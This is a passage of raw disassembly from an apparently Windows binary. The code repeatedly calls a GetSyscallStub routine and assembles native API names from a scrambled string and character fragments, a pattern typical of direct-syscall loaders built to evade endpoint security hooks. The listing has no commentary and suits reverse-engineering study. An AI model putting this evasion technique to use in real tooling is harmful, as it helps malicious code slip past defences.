call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x4af0]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x216596e3b
lea rbx, [0x216843ea9]
jmp 0x216596e42
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x4d5f]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x4d5f]
lea rax, [rbp + 0x4d30]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x4d10]
lea rdx, [rbp + 0x4d30]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4cf0]
lea rdx, [rbp + 0x4d10]
lea r8, [0x216843edd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4cd0]
lea rdx, [rbp + 0x4cf0]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4cb0]
lea rdx, [rbp + 0x4cd0]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4c90]
lea rdx, [rbp + 0x4cb0]
lea r8, [0x216843ecb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4c70]
lea rdx, [rbp + 0x4c90]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4c50]
lea rdx, [rbp + 0x4c70]
lea r8, [0x216843edf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4c30]
lea rdx, [rbp + 0x4c50]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4c10]
lea rdx, [rbp + 0x4c30]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4bf0]
lea rdx, [rbp + 0x4c10]
lea r8, [0x216843ed5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4bd0]
lea rdx, [rbp + 0x4bf0]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4bb0]
lea rdx, [rbp + 0x4bd0]
lea r8, [0x216843ecd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4b90]
lea rdx, [rbp + 0x4bb0]
lea r8, [0x216843ecf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4b70]
lea rdx, [rbp + 0x4b90]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4b50]
lea rdx, [rbp + 0x4b70]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4b30]
lea rdx, [rbp + 0x4b50]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4b10]
lea rdx, [rbp + 0x4b30]
lea r8, [0x216843ed1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x4b10]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a630
lea rax, [rbp + 0x4b10]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4b30]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4b50]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4b70]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4b90]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4bb0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4bd0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4bf0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4c10]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4c30]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4c50]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4c70]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4c90]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4cb0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4cd0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4cf0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4d10]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4d30]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4d5f]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x4d60]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x4d60]
mov rcx, qword [rbp + 0x5988]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x4d60]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x21659722e
lea rbx, [0x216843ea9]
jmp 0x216597235
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x4f8f]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x4f8f]
lea rax, [rbp + 0x4f60]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x4f40]
lea rdx, [rbp + 0x4f60]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4f20]
lea rdx, [rbp + 0x4f40]
lea r8, [0x216843ef3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4f00]
lea rdx, [rbp + 0x4f20]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4ee0]
lea rdx, [rbp + 0x4f00]
lea r8, [0x216843e91]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4ec0]
lea rdx, [rbp + 0x4ee0]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4ea0]
lea rdx, [rbp + 0x4ec0]
lea r8, [0x216843ea7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4e80]
lea rdx, [rbp + 0x4ea0]
lea r8, [0x216843ed3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4e60]
lea rdx, [rbp + 0x4e80]
lea r8, [0x216843ed5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4e40]
lea rdx, [rbp + 0x4e60]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4e20]
lea rdx, [rbp + 0x4e40]
lea r8, [0x216843e95]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4e00]
lea rdx, [rbp + 0x4e20]
lea r8, [0x216843ea1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4de0]
lea rdx, [rbp + 0x4e00]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4dc0]
lea rdx, [rbp + 0x4de0]
lea r8, [0x216843e9d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4da0]
lea rdx, [rbp + 0x4dc0]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4d80]
lea rdx, [rbp + 0x4da0]
lea r8, [0x216843edf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x4d80]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a630
lea rax, [rbp + 0x4d80]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4da0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4dc0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4de0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4e00]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4e20]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4e40]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4e60]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4e80]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4ea0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4ec0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4ee0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4f00]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4f20]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4f40]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4f60]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4f8f]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x4f90]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x4f90]
mov rcx, qword [rbp + 0x5980]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x4f90]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x2165975c9
lea rbx, [0x216843ea9]
jmp 0x2165975d0
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x515f]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x515f]
lea rax, [rbp + 0x5130]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x5110]
lea rdx, [rbp + 0x5130]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x50f0]
lea rdx, [rbp + 0x5110]
lea r8, [0x216843ee3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x50d0]
lea rdx, [rbp + 0x50f0]
lea r8, [0x216843eef]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x50b0]
lea rdx, [rbp + 0x50d0]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5090]
lea rdx, [rbp + 0x50b0]
lea r8, [0x216843edf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5070]
lea rdx, [rbp + 0x5090]
lea r8, [0x216843edd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5050]
lea rdx, [rbp + 0x5070]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5030]
lea rdx, [rbp + 0x5050]
lea r8, [0x216843e95]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5010]
lea rdx, [rbp + 0x5030]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4ff0]
lea rdx, [rbp + 0x5010]
lea r8, [0x216843e9d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4fd0]
lea rdx, [rbp + 0x4ff0]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4fb0]
lea rdx, [rbp + 0x4fd0]
lea r8, [0x216843edf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x4fb0]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a630
lea rax, [rbp + 0x4fb0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4fd0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4ff0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x5010]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x5030]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x5050]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x5070]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x5090]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x50b0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x50d0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x50f0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x5110]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x5130]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x515f]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x5160]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x5160]
mov rcx, qword [rbp + 0x5978]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x5160]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x2165978e0
lea rbx, [0x216843ea9]
jmp 0x2165978e7
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x53cf]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x53cf]
lea rax, [rbp + 0x53a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x5380]
lea rdx, [rbp + 0x53a0]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5360]
lea rdx, [rbp + 0x5380]
lea r8, [0x216843ea3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5340]
lea rdx, [rbp + 0x5360]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5320]
lea rdx, [rbp + 0x5340]
lea r8, [0x216843eef]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5300]
lea rdx, [rbp + 0x5320]
lea r8, [0x216843e9b]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x52e0]
lea rdx, [rbp + 0x5300]
lea r8, [0x216843e9d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x52c0]
lea rdx, [rbp + 0x52e0]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x52a0]
lea rdx, [rbp + 0x52c0]
lea r8, [0x216843ef5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5280]
lea rdx, [rbp + 0x52a0]
lea r8, [0x216843ee3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5260]
lea rdx, [rbp + 0x5280]
lea r8, [0x216843eed]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5240]
lea rdx, [rbp + 0x5260]
lea r8, [0x216843edd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5220]
lea rdx, [rbp + 0x5240]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5200]
lea rdx, [rbp + 0x5220]
lea r8, [0x216843e95]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x51e0]
lea rdx, [rbp + 0x5200]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x51c0]
lea rdx, [rbp + 0x51e0]
lea r8, [0x216843e9d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x51a0]
lea rdx, [rbp + 0x51c0]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5180]
lea rdx, [rbp + 0x51a0]
lea r8, [0x216843edf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x5180]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a630
lea rax, [rbp + 0x5180]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x51a0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x51c0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x51e0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x5200]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x5220]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x5240]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x5260]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x5280]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x52a0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x52c0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x52e0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x5300]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x5320]
mov rcx, rax
call fcn.21663a5f0
